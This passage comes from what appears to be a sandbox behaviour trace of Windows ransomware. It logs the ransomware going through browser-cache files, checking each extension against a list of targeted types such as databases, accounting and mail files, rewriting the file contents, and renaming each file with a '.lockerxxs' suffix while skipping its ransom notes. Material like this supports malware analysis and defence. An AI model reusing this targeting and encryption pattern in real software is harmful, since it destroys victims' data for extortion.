HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.lockerxxs" [0084.408] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.409] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3323 [0084.409] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3)) returned 1 [0084.409] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.409] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x32fd, lpOverlapped=0x0) returned 1 [0084.412] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg") returned="BBEewZB[1].jpg" [0084.412] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.412] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x32fd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x32fd, lpOverlapped=0x0) returned 1 [0084.412] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.412] CloseHandle (hObject=0xa4) returned 1 [0084.412] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg.lockerxxs")) returned 1 [0084.414] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459613d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459613d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45987530, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x9d7, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEeZ0k[1].jpg", cAlternateFileName="BBEEZ0~1.JPG")) returned 1 [0084.415] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.415] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEeZ0k[1].jpg") returned 1 [0084.415] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEeZ0k[1].jpg") returned 1 [0084.415] lstrcmpiA (lpString1="", lpString2="BBEeZ0k[1].jpg") returned -1 [0084.416] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg") returned="BBEewZB[1].jpg" [0084.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.416] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.416] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.416] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.416] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEeZ0k[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.ems") returned 0 [0084.416] lstrlenA (lpString="*.ems") returned 5 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.db") returned 0 [0084.416] lstrlenA (lpString="*.db") returned 4 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.dbf") returned 0 [0084.416] lstrlenA (lpString="*.dbf") returned 5 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.myox") returned 0 [0084.416] lstrlenA (lpString="*.myox") returned 6 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.myo") returned 0 [0084.416] lstrlenA (lpString="*.myo") returned 5 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qbw") returned 0 [0084.416] lstrlenA (lpString="*.qbw") returned 5 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qbb") returned 0 [0084.416] lstrlenA (lpString="*.qbb") returned 5 [0084.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qbm") returned 0 [0084.417] lstrlenA (lpString="*.qbm") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qbo") returned 0 [0084.417] lstrlenA (lpString="*.qbo") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qbx") returned 0 [0084.417] lstrlenA (lpString="*.qbx") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qba") returned 0 [0084.417] lstrlenA (lpString="*.qba") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qby") returned 0 [0084.417] lstrlenA (lpString="*.qby") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qbj") returned 0 [0084.417] lstrlenA (lpString="*.qbj") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.ofx") returned 0 [0084.417] lstrlenA (lpString="*.ofx") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.qif") returned 0 [0084.417] lstrlenA (lpString="*.qif") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.mye") returned 0 [0084.417] lstrlenA (lpString="*.mye") returned 5 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.mbox") returned 0 [0084.417] lstrlenA (lpString="*.mbox") returned 6 [0084.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.eml") returned 0 [0084.417] lstrlenA (lpString="*.eml") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.pst") returned 0 [0084.418] lstrlenA (lpString="*.pst") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.ost") returned 0 [0084.418] lstrlenA (lpString="*.ost") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.idx") returned 0 [0084.418] lstrlenA (lpString="*.idx") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.dbx") returned 0 [0084.418] lstrlenA (lpString="*.dbx") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.sql") returned 0 [0084.418] lstrlenA (lpString="*.sql") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.mdb") returned 0 [0084.418] lstrlenA (lpString="*.mdb") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.fdb") returned 0 [0084.418] lstrlenA (lpString="*.fdb") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.wab") returned 0 [0084.418] lstrlenA (lpString="*.wab") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.dat") returned 0 [0084.418] lstrlenA (lpString="*.dat") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.txt") returned 0 [0084.418] lstrlenA (lpString="*.txt") returned 5 [0084.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.jpeg") returned 0 [0084.418] lstrlenA (lpString="*.jpeg") returned 6 [0084.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", pszSpec="*.jpg") returned 1 [0084.419] lstrlenA (lpString="*.jpg") returned 5 [0084.419] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" [0084.419] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" [0084.419] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg." [0084.419] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.lockerxxs" [0084.419] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.420] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9d7 [0084.420] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x459613d0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x459613d0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45987530, dwHighDateTime=0x1d2faf3)) returned 1 [0084.420] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.420] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9b1, lpOverlapped=0x0) returned 1 [0084.422] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg") returned="BBEeZ0k[1].jpg" [0084.422] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.422] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9b1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9b1, lpOverlapped=0x0) returned 1 [0084.422] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.422] CloseHandle (hObject=0xa4) returned 1 [0084.422] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg.lockerxxs")) returned 1 [0084.423] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b042f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2d32, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEf6s4[1].jpg", cAlternateFileName="BBEF6S~1.JPG")) returned 1 [0084.423] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEf6s4[1].jpg") returned 1 [0084.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEf6s4[1].jpg") returned 1 [0084.423] lstrcmpiA (lpString1="", lpString2="BBEf6s4[1].jpg") returned -1 [0084.423] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg") returned="BBEeZ0k[1].jpg" [0084.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.424] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.424] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.424] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.424] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEf6s4[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" [0084.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.ems") returned 0 [0084.424] lstrlenA (lpString="*.ems") returned 5 [0084.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.db") returned 0 [0084.424] lstrlenA (lpString="*.db") returned 4 [0084.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.dbf") returned 0 [0084.424] lstrlenA (lpString="*.dbf") returned 5 [0084.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.myox") returned 0 [0084.424] lstrlenA (lpString="*.myox") returned 6 [0084.424] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.myo") returned 0 [0084.425] lstrlenA (lpString="*.myo") returned 5 [0084.425] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg", pszSpec="*.qbw") returned 0 [0084.425] lstrlenA 